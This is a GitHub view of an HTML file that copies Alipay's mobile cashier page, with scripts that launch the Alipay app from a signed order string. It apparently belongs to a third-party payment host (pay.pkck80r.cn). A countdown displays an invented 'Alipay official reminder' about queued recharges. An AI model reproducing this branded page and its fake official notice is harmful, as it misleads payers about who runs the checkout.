forked from 1izheng/xpage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathd2.html
626 lines (560 loc) · 28.8 KB
/
d2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta content="IE=edge, chrome=1" http-equiv="X-UA-Compatible" />
<meta content="webkit" name="renderer" />
<title>支付宝</title>
<meta content="yes" name="apple-mobile-web-app-capable" />
<meta content="black" name="apple-mobile-web-app-status-bar-style" />
<meta content="telephone=no,email=no" name="format-detection" />
<meta id="WV.Meta.Share.Disabled" value="true" />
<meta content="pay" name="data-bizType" />
<meta content="a283" name="data-aspm" />
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0" name="viewport" />
<link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon" />
<link href="https://i.alipayobjects.com/i/ecmng/png/201406/2qBuceUYiL.png" rel="apple-touch-icon-precomposed" />
<!-- CMS:安全支付客户端网关/common/tracker.vm开始:common/tracker.vm -->
<!-- CMS:安全支付客户端网关/common/tracker.vm结束:common/tracker.vm --><script charset="utf-8" src="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.js"></script>
<link href="https://as.alipayobjects.com:443/g/snake/h5cashier/1.0.5/h5cashier.css" media="all" rel="stylesheet" type="text/css" />
<script charset="utf-8" id="seajsnode" src="https://a.alipayobjects.com:443/??seajs/seajs/2.2.0/sea.js,seajs/seajs-combo/1.0.0/seajs-combo.js"></script>
<script>
seajs.config({
alias: {
'$': 'gallery/zepto/1.0.2/zepto',
'validator': 'arale/validator/0.9.7/validator',
'widget': 'arale/widget/1.1.1/widget',
'base': 'arale/base/1.1.1/base',
'class': 'arale/class/1.1.0/class',
'events': 'arale/events/1.1.0/events',
'wapcashier': 'mobileclientgw/wapcashier/1.1.7/wapcashier'
},
vars: {
locale: 'zh-cn'
}
});
</script>
<script>
/*<![CDATA[*/
var service = 'alipay_sdk=alipay-sdk-java-3.5.35.DEV&app_id=2018101061618854&biz_content=7UyROpIwNDbETBJrNdfXuutjfKDfqQVc5wAB1wHdeQWttRMj8EnIXx74dRUO7eE1jDoQARR9Br4VkWJRygQRUrHAeCMazMTCv8D7BRla69IEKNlbWNjy8zN3TkXO%2Bc%2BfOZrLh9MpInDdZCIJAzeA4kuWuSOaLUT5gE3yFYzyA2pzLQ8Q3e3IdkQmyXnpxuoihsOksh4VZyZTAkbSYnc3Y7%2FZXRgodi6MYqFI48NK5KbOnYiZ0H6T8gZjwArCT2g0ySzc4z%2F5J9qhUtT7s9uXMi1T5RIm1FXVL3miVz3R8qnMz8m8wPtdSIkduR7rtZsC9hI66noC03hqhelzb1RcO9d6i1dSznnoXCi211Sn1osbJXyNJv7BWoIFESy4ecvmqYGXnJRBvEf475i2TE3X1%2Fxvte3T5gs8WVEVs15uT1cL2yyMZWkQUMJ320dgvYwgkImNz54FfmPss%2FnCawBMK4DSpLD4tIwrtmFJDs8fQ6k2xoNA%2BjhUxQSaO2xsAazKpMYXsbyZKaGVQWvmYktV%2BfbKOWEItxiWcXbIiarzo22xvtH7WoRkw69WVksGeGO3XfyIjzOJQhrPRFwB4CdJ1Mq1pOIS3PJSiEn%2FzL0STSl3k0hBhzuwY5vLqS7yaIvKsNF9CufMnd9xuTZTn9FwCvdN7pJEMUrLyqAYTnYTbVFfHn3Jzx1RrTkO%2B9Da1hfHRCdhvGH1%2F9vXm%2FsKw6%2FDazjWdYCU5S%2FBTn880%2FM4xWoy0uew8fXw4YDsFPPjLttx57yxfymjplTTcN6MXCUJONxH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bFS8kRPilylSwxzXuF3%2FrCSsNMCZVv829nFdTA6ESCkdbRu2At2ENFcom%2Fs%2FHuAVCSEClV%2FGLVR2KhyhfIzcgM%2B5fqkSRQ7kA%3D%3D&sign_type=RSA2×tamp=2019-05-03+02%3A48%3A45&version=1.0';
var queryUrl = 'http://pay.pkck80r.cn:8081/T/alipaye7595a0260c9b0c21e8498f32e286f4b';
var enableWait = 'true';
var waitTime = '30';
/*]]>*/
</script>
</head>
<body>
<div class="J-msg-mask am-msg-mask" style="display:none"></div>
<div class="J-msg-box am-msg-box" style="display:none">
<div class="am-msg-box-content">
<p class="J-msg-text"></p>
<button class="J-msg-cancel am-button am-button-blue" type="button">知道了</button>
</div>
</div>
<div class="J-loading am-loading"><div class="am-loading-text">加载中...</div></div>
<!-- CMS:安全支付客户端网关/common/notice.vm开始:common/notice.vm --><!-- CMS:安全支付客户端网关/common/notice.vm结束:common/notice.vm -->
<!-- h5PayRoute.vm -->
<!-- v5_h5_pay_route -->
<!-- <script>window.Tracker && Tracker.click('v5_h5_pay_route')</script> -->
<header class="am-header">
<h1>
<span class="title-main" data-title="支付宝收银台">支付宝收银台</span> </h1>
</header>
<noscript><h1 style="color:red">您的浏览器不支持JavaScript,请更换浏览器或开启JavaScript设置!</h1></noscript>
<!-- FD:256:mobileclientgw/home/v5/h5PayRoute.vm:START --><style>
body {
font-weight: 500;
font-family: PingFangSC-Regular, "Helvetica Neue",Helvetica,Arial,"Lucida Grande",sans-serif;
}
.am-header {
display: none;
}
.alipay-logo {
display: none;
}
.result {
position: absolute;
top: 50%;
margin-top: -215px;
width: 100%;
}
.result-logo {
width: 70px;
height: 98px;
margin: auto;
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIwAAADFCAMAAACxSeqoAAAAMFBMVEVMaXE2RUs8PDw8PDw8PDwMpNs8PDys4/kJpeAAqu4+Pj7+/v4gtfA8vvJy0PXZ8vy+qiS8AAAACXRSTlMAKme4jZHg+tbH0VrYAAAF0klEQV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w6l7kn27DtaRkwrgVg0KYigRWOKYrDK9rcaRndXbuDuMf2oIZ/V3lMFjXqmIkcKlKYZKE1yNgJNFzNieJsK4LYSRXWB6mkqkOKXr5MH7AWMAgod07YZQtK03eAEZ2NKZR8gwj+JSXwLi9VD5pBULOwpCxFEbKSNLyiVa0wqSzt4FBg9p1DAQYitNPYdgenxSGbRjEqQEMWSBGgtxI2TYweDovZj9lGNlb6txLt7YoSk4ADcziGsNwnLjuWOJHVppZKUgEQ3H6WdHb9oNit2nBKOYnGN6ZPid/EeYhGgGLAYMLrkkC85Ff4TwLBpsc3xAGNG6XBTAUp5btQPl0kgUz4JjXCoZpdDBhoPaNUjyx9IABDVjeACOIMEk9vaU4EIY/slsgJwfC7L7TEJyJPOEcBqMoIikKAJRwDoJBqadcQaYQzmGryafmxL1kCQPqETD8ulIc5vQvPtAx+ZUFo19aTdtd27+8XfJwEj0+O220YID+JRR1S8B/cir5ldxTAMPHXVt6NzwmJCTRMQvG+accbtZcfXnGO5DsSJ1/wri7ZGit83sbp06d6iBHxVXpAMUX/dr+lM1JepuX505G7Pd4mAUGMmH4rcWzxWKgW1vZmHV2khqY8fH6xZO51ws5jkHv1RoYXTf1js3RyCzHPPp4HQxfF5hLrFmOwRwjxlXB/GJz5BoHB+5GSRUDy2B4sN8wZzgGbv3+4atgsFpgzq/m0mTPcYxb/6Yr5TBOVZ1PHvkeDAq7efLHA2KiMphVmlyVv0Mdrdg9x8Cta7CKYfi4o2QOrpGcKLk1jctzRkRoNbA50NlFxn8LtaEExjBnwfAEkNTB2OZsmGfv0r/CAq2DYXNaBIMSjfnxQe+SXBg2VwKDW2CI3a0FMI7MZcOgeGIhMIzLhmFzFswfhGgoIOnCZSQAAAAASUVORK5CYII=);
background-repeat: no-repeat;
background-size: contain;
}
.result-title {
margin: 40px 0 14px;
text-align: center;
font-size: 21px;
color: #00a0e8;
line-height: 25px;
}
.result-tips {
max-width: 370px;
margin: 0 auto 10px;
padding: 0 15px;
font-size: 15px;
color: #a5a5a5;
line-height:18px;
text-align:left;
word-break:break-all;
word-wrap:break-word;
}
.result-botton {
margin: 0 15px 20px;
}
.result-botton a {
display: block;
margin: auto;
-webkit-box-sizing: border-box;
box-sizing: border-box;
max-width: 384px;
height:44px;
text-align: center;
}
.result-botton a.am-button-white {
color: #00aaee;
background:#ffffff;
border:1px solid #00aaee;
}
.result-botton .am-button[disabled=disabled] {
color: #e6e6e6;
background: #f8f8f8;
border: 1px solid #dedede;
}
.loading {
display: none;
}
</style>
<div class="loading"></div>
<div class="am-content">
<input name="params" type="hidden" value="{"server_param":"emlkPTk5O25kcHQ9OTQ4NDtjYz15"}" />
<div class="result">
<div class="result-logo"></div>
<div class="result-title">正在尝试打开支付宝客户端</div>
<div class="result-tips">请耐心等待,倒计时为0后会自动唤起支付;</div>
<div class="result-botton"><a class="J-h5pay am-button am-button-blue" href="javascript:void(0)" id="paybtn" onclick="gopay()">继续支付</a></div>
</div>
</div>
<script type="text/javascript">
window.needCountDown = true;
//H5cashier startup client
(function(){
var _AP = {}
var ua = navigator.userAgent.toLowerCase(),
locked = false,
domLoaded = document.readyState==='complete',
delayToRun;
function customClickEvent() {
var clickEvt;
if (window.CustomEvent) {
clickEvt = new window.CustomEvent('click', {
canBubble: true,
cancelable: true
});
} else {
clickEvt = document.createEvent('Event');
clickEvt.initEvent('click', true, true);
}
return clickEvt;
}
var noIntentTest = /aliapp|360 aphone|weibo|windvane|ucbrowser/.test(ua);
var hasIntentTest = /chrome|samsung/.test(ua);
var isAndroid = /android|adr/.test(ua) && !(/windows phone/.test(ua));
var canIntent = !noIntentTest && hasIntentTest && isAndroid;
// 确定浏览器类型
var isChrome = false;
var isWebview = false;
if (ua.match(/(?:chrome|crios)\/([\d\.]+)/)) {
isChrome = true;
if (ua.match(/version\/[\d+\.]+\s*chrome/)) {
isWebview = true;
}
}
var isOriginalChrome = isAndroid && isChrome && !isWebview;
if (ua.indexOf('m353')>-1 && !noIntentTest) {
canIntent = false;
}
// 安卓走iframe方式唤起
if (ua.indexOf('android')>-1 && !noIntentTest) {
canIntent = false;
}
/**
* open client
*/
_AP.open = function (params) {
if (!domLoaded && (ua.indexOf('360 aphone')>-1 || canIntent)) {
var arg = arguments;
delayToRun = function () {
_AP.open.apply(null, arg);
delayToRun = null;
};
return;
}
if (locked) {
return;
}
locked = true;
var o;
if (typeof params === 'object') {
o = {
'ios': encodeURIComponent(JSON.stringify(params)),
'android': encodeURIComponent(params.dataString)
};
} else {
console.error('params error, pls use JSON format!')
}
// params fault tolerance
if (typeof o.ios !== 'string') {
o.ios = '';
} else if(typeof o.android !== 'string') {
o.android = '';
}
// nonsupport Android intent
if (!canIntent) {
if(isAndroid) {
var alipaysUrl = 'alipays://platformapi/startApp?appId=20000125&orderSuffix=' + o.android +'#Intent;scheme=alipays;package=com.eg.android.AlipayGphone;end';
}
//fix for iOS QQ browser
else if (ua.indexOf('mqqbrowser') > -1) {
var alipaysUrl = 'alipay://alipayclient/?' + o.android;
}
else {
var alipaysUrl = 'alipay://alipayclient/?' + o.ios;
}
if ( ua.indexOf('qq/') > -1 || ( ua.indexOf('safari') > -1 && ua.indexOf('os 9_') > -1 ) || ( ua.indexOf('safari') > -1 && ua.indexOf('os 10_') > -1 ) || ( ua.indexOf('safari') > -1 && ua.indexOf('os 11_') > -1 ) || ( ua.indexOf('safari') > -1 && ua.indexOf('os 12_') > -1 ) || ( ua.indexOf('safari') > -1 && ua.indexOf('os 13_') > -1 ) ) {
var openSchemeLink = document.getElementById('openSchemeLink');
if (!openSchemeLink) {
openSchemeLink = document.createElement('a');
openSchemeLink.id = 'openSchemeLink';
openSchemeLink.style.display = 'none';
document.body.appendChild(openSchemeLink);
}
//openSchemeLink.href = alipaysUrl;
// oppo浏览器兼容写法
openSchemeLink.onclick = function() {
window.location.href = alipaysUrl;
};
// trigger click
openSchemeLink.dispatchEvent(customClickEvent());
} else if(isOriginalChrome) {
if(0 === 0) {
// location.href = alipaysUrl;
// chrome下唤起客户端的同时页面还会关闭掉,导致H5不能正常跳转
window.needCountDown = false;
var clientBtn = '<div class="result-botton"><a class="am-button am-button-blue" href="' + alipaysUrl + '">使用支付宝App支付</a></div>'
$('.J-h5pay').text('继续浏览器支付').parent().before(clientBtn);
}
} else {
//window.location.href = alipaysUrl;
var ifr = document.createElement('iframe');
ifr.src = alipaysUrl;
ifr.style.display = 'none';
document.body.appendChild(ifr);
}
}
//support Android intent
else {
var packageKey = 'AlipayGphone';
var intentUrl = 'alipays://platformapi/startApp?appId=20000125&orderSuffix='+o.android+'#Intent;scheme=alipays;package=com.eg.android.'+ packageKey +';end';
var openIntentLink = document.getElementById('openIntentLink');
if (!openIntentLink) {
openIntentLink = document.createElement('a');
openIntentLink.id = 'openIntentLink';
openIntentLink.style.display = 'none';
document.body.appendChild(openIntentLink);
}
//openIntentLink.href = intentUrl;
// oppo浏览器兼容写法
openIntentLink.onclick = function() {
window.location.href = intentUrl;
};
// trigger click
openIntentLink.dispatchEvent(customClickEvent());
}
setTimeout(function () {
locked = false;
}, 2500)
}
if (!domLoaded) {
document.addEventListener('DOMContentLoaded', function () {
domLoaded = true;
if (typeof delayToRun === 'function') {
delayToRun();
}
}, false);
}
_AP.pay = function(param) {
_AP.open(param);
}
window._AP = _AP;
})();
var data = {"requestType":"SafePay","fromAppUrlScheme":"alipays","dataString":service};
function gopay(){
if(needCountDown && time>0){
$('#paybtn').html('请耐心等待'+time+"秒 ^_^!");
}else{
try {
//唤起客户端快捷参数
window.setTimeout(function(){
_AP.pay(data);
}, 50);
}catch(e){
window.console && window.console.log('e.name:' + e.name + ';e.message:' + e.message)
}
}
}
//点击完成付款再次查询交易状态
var unDisable = true;
//倒计时读秒次数,每次两秒
var time = waitTime, loop;
function countDown(){
if(time>0){
loop = window.setTimeout('countDown()',2000);
time--;
$('.result-title').eq(0).html('支付宝官方提醒:目前充值人数较多,排队中。。。(' + time+ '秒)');
$('#paybtn').html('请耐心等待 ' + time+ '秒');
} else {
$('#paybtn').html('继续支付');
try {
//唤起客户端快捷参数
window.setTimeout(function(){
_AP.pay(data);
}, 50);
}catch(e){
window.console && window.console.log('e.name:' + e.name + ';e.message:' + e.message)
}
}
}
// Android Chrome不做倒计时
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
needCountDown = !isIOS;
setTimeout(function() {
if (needCountDown) {
countDown();
} else {
$('.result-title').eq(0).html('');
gopay();
}
}, 200);
</script><!-- FD:256:mobileclientgw/home/v5/h5PayRoute.vm:END --><script type="text/javascript">
$(function(){
if(top.location != location){
$("body").append('<img src="https://mclient.alipay.com/h5/commlog.htm?t=SNEAK_LINK&c=' + encodeURIComponent(window.document.referrer) + '&pid=Complex_PID" width="1" height="1" />');
}
var iOSClientUrl = "";
var androidClientUrl = "";
var ua = navigator.userAgent.toLowerCase();
var clientUrl = /iphone|ipad|ipod/.test(ua) ? iOSClientUrl : androidClientUrl;
// 退出收银台时引导下载App
if(clientUrl) {
var downloadInfo = "";
var downloadButtonText = "";
// sceneCode:(E001-xx) 用于记录日志,1) E001表示,exit "退出收银台推荐下载App" 2) xx 用于标识某次drm开关
var sceneCode = "";
function sendCommlog(action) {
Zepto.ajax({
type: 'post',
url: 'https://mclient.alipay.com/h5/commlog.htm?t=WAP2ALIPAY&action=' + action + '&c=' + '&sceneCode=' + sceneCode,
data:{
'r': Math.floor(Math.random()*1e13)
},
timeout: 30000,
success: function () {
}
});
}
$('.J-header-return').on('click',function(e){
var el = this;
Zepto.dialog.show({
message: '<div style="font:18px bold; padding: 0 15px 15px 15px">确认退出?</div><div style="color: #888;padding: 0 15px;">' + downloadInfo +'</div>',
buttons: [downloadButtonText, '否', '是'],
complete: function (result) {
if(result.order === 1) { // 下载支付宝App
window.location.href = clientUrl;
setTimeout(function(){$('.J-loading').addClass('fn-hide');}, 300);
sendCommlog('1');
} else if(result.order === 3) { // 退出收银台
window.location.href = $(el).attr('href');
sendCommlog('3');
} else {
sendCommlog('2');
}
Zepto.dialog.hide();
}
});
// 统计推荐下载总量
sendCommlog('0');
e.preventDefault();
});
} else {
$('.J-header-return').on('click',function(e){
var el = this;
Zepto.dialog.show({
message: $(this).attr('data-confirm-text'),
buttons: ['否', '是'],
complete: function (result) {
if(result.order === 2) {
window.location.href = $(el).attr('href');
} else {
Zepto.dialog.hide();
}
}
})
e.preventDefault();
});
}
$('.J-loading').addClass('fn-hide');
var stopQuery = false;
//轮询间隔时间(默认10s)
var timeCount = parseInt('3000') || 3000;
var body = document.body;
body.addEventListener ? body.addEventListener('touchstart', function(){}) : body.ontouchstart = function(){};
$('.J-open-protocol').on('click',function(e){
var el = $(this);
Zepto.dialog.show({
message: '<div style="height: 280px;-webkit-overflow-scrolling:touch;overflow:auto;"><iframe style="height: 280px;width: 100%;overflow: auto;" src="' + el.attr('href') + '" frameborder="0" scrolling="auto" allowTransparency="true"></iframe></div>',
buttons: '确定',
complete: function () {
Zepto.dialog.hide();
}
});
e.preventDefault();
});
(function(){
!function(modules){function __webpack_require__(moduleId){if(installedModules[moduleId])return installedModules[moduleId].exports;var module=installedModules[moduleId]={exports:{},id:moduleId,loaded:!1};return modules[moduleId].call(module.exports,module,module.exports,__webpack_require__),module.loaded=!0,module.exports}var installedModules={};return __webpack_require__.m=modules,__webpack_require__.c=installedModules,__webpack_require__.p="",__webpack_require__(0)}([function(module,exports){"use strict";!function(){if(!window.Tracert){for(var Tracert={_isInit:!0,_readyToRun:[],_guid:function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(c){var r=16*Math.random()|0,v="x"===c?r:3&r|8;return v.toString(16)})},get:function(key){if("pageId"===key){if(window._tracert_loader_cfg=window._tracert_loader_cfg||{},window._tracert_loader_cfg.pageId)return window._tracert_loader_cfg.pageId;var metaa=document.querySelectorAll("meta[name=data-aspm]"),spma=metaa&&metaa[0].getAttribute("content"),spmb=document.body&&document.body.getAttribute("data-aspm"),pageId=spma&&spmb?spma+"."+spmb+"_"+Tracert._guid()+"_"+Date.now():"-_"+Tracert._guid()+"_"+Date.now();return window._tracert_loader_cfg.pageId=pageId,pageId}return this[key]},call:function(){var argsList,args=arguments;try{argsList=[].slice.call(args,0)}catch(ex){var argsLen=args.length;argsList=[];for(var i=0;i<argsLen;i++)argsList.push(args[i])}Tracert.addToRun(function(){Tracert.call.apply(Tracert,argsList)})},addToRun:function(_fn){var fn=_fn;"function"==typeof fn&&(fn._logTimer=new Date-0,Tracert._readyToRun.push(fn))}},fnlist=["config","logPv","info","err","click","expo","pageName","pageState","time","timeEnd","parse","checkExpo","stringify","report","set","before"],i=0;i<fnlist.length;i++){var fn=fnlist[i];!function(fn){Tracert[fn]=function(){var argsList,args=arguments;try{argsList=[].slice.call(args,0)}catch(ex){var argsLen=args.length;argsList=[];for(var i=0;i<argsLen;i++)argsList.push(args[i])}argsList.unshift(fn),Tracert.addToRun(function(){Tracert.call.apply(Tracert,argsList)})}}(fn)}window.Tracert=Tracert}}()}]);
var tracertScript = document.createElement('script');
tracertScript.setAttribute('type','text/javascript');
tracertScript.setAttribute('src','https://gw.alipayobjects.com/as/g/component/tracert/3.0.7/index.js');
var body = document.getElementsByTagName('body')[0];
body.appendChild(tracertScript);
})();
// 封装埋点事件方法
window.logClick = function (spm) {
try {
window.Tracert.click(spm);
} catch (ex) {
console.error(ex);
}
}
window.logExpo = function (spm) {
try {
window.Tracert.expo(spm);
} catch (ex) {
console.error(ex);
}
}
Zepto.dialog.hide = function() {
$('body').find('.am-dialog-mask').remove();
$('body').find('.am-dialog-box').remove();
}
});
</script>
<script type="text/javascript">
try {
document.body.setAttribute('data-aspm', 'b9416');
$(function(){
var spmParams = {jumpFrom: 'H5'};
window.Tracert.expo('a283.b9416.c22630', 'up', spmParams);
document.onclick = function(e) {
try {
var innerText = e.target.innerText;
// H5页面点击
// 继续支付按钮
if(innerText === '继续支付') {
window.Tracert.click('a283.b9416.c22630.d41863', spmParams);
}
} catch (e) {
}
}
});
} catch(e) {
console.log(e);
}
</script>
<script>
(function (w, d, t) {
var s = d.createElement(t), m = d.getElementsByTagName(t)[0];
s.async = 1;
s.src = "https://g.alicdn.com/sd/pointman/js/pt2.js?f=m&_=" + Math.floor((new Date()).getTime() / 36e5);
m.parentNode.insertBefore(s, m);
w._pointman_q = w._pointman_q || [];
_pointman_q.push(["um", function (um) {
um.init({
timeout: 3000,
token:'P201203d7e5805b04ad5629cc57c34919',
userid: '',
serviceLocation: "cn",
appName: 'mobileclientgw'
});
}]);
})(window, document, "script");
</script>
<script>
(function (win) {
win.APDID_API_KEY = 'h5cashier';
win.APDID_USER_ID = '';
win.APDID_SESSION = 'RZ24eq8cPehOlTylqRJwVynbiexEESmobilecashierRZ24';
var sandAjax = function(Zepto) {
setTimeout(function () {
Zepto.ajax({
url: 'https://as.alipayobjects.com/g/component/apdid-cn-entry/0.0.1/cnentry.js',
dataType: "script",
cache: true
});
}, 50);
}
if($){
sandAjax($)
} else {
win.seajs && win.seajs.use(['$'], function ($) {
sandAjax($)
});
}
})(window);
</script>
<footer>
<div class="alipay-logo"></div>
<div id="ServerNum">mobileclientgw-40-5566</div>
</footer>
<!-- CMS:安全支付客户端网关/common/footer.vm开始:mobileclientgw/common/footer.vm --> <script type="text/javascript">
if(navigator.userAgent.indexOf('sdk') > 0) {$('input[data-format]').attr('data-format', '100')}
//12.03下线
if(window.Zepto && Zepto.dialog && $('.J-header-return') != -1){
Zepto.dialog.hide = function() {
$('body').find('.am-dialog-mask').animate({
opacity: 0
}, 400, 'ease-out', function(){
$(this).css('display', 'none');
});
$('body').find('.am-dialog-box').animate({
opacity: 0
}, 400, 'ease-out', function(){
$(this).css('display', 'none');
});
window.setTimeout(function(){
$('body').find('.am-dialog-mask').remove();
$('body').find('.am-dialog-box').remove();
},1000);
}
}
// 02.11
if ($('.J-pwd').length > 0 && $('.J-encryptpwd').length > 0) {
seajs.use(['https://gw.alipayobjects.com/os/rmsportal/gHWfJyXWLsuyvHWRvFeC.js']);
}
if (location.href.indexOf('cashierPay.htm') > 0) {
$('.am-header').on('click', '.am-header-operate', function(e){
if ($(this).attr('clicked') !== '1') {
location.href = $(this).attr('href');
}
$(this).attr('clicked', '1');
e.preventDefault();
});
}
</script><!-- CMS:安全支付客户端网关/common/footer.vm结束:mobileclientgw/common/footer.vm -->
</body></html>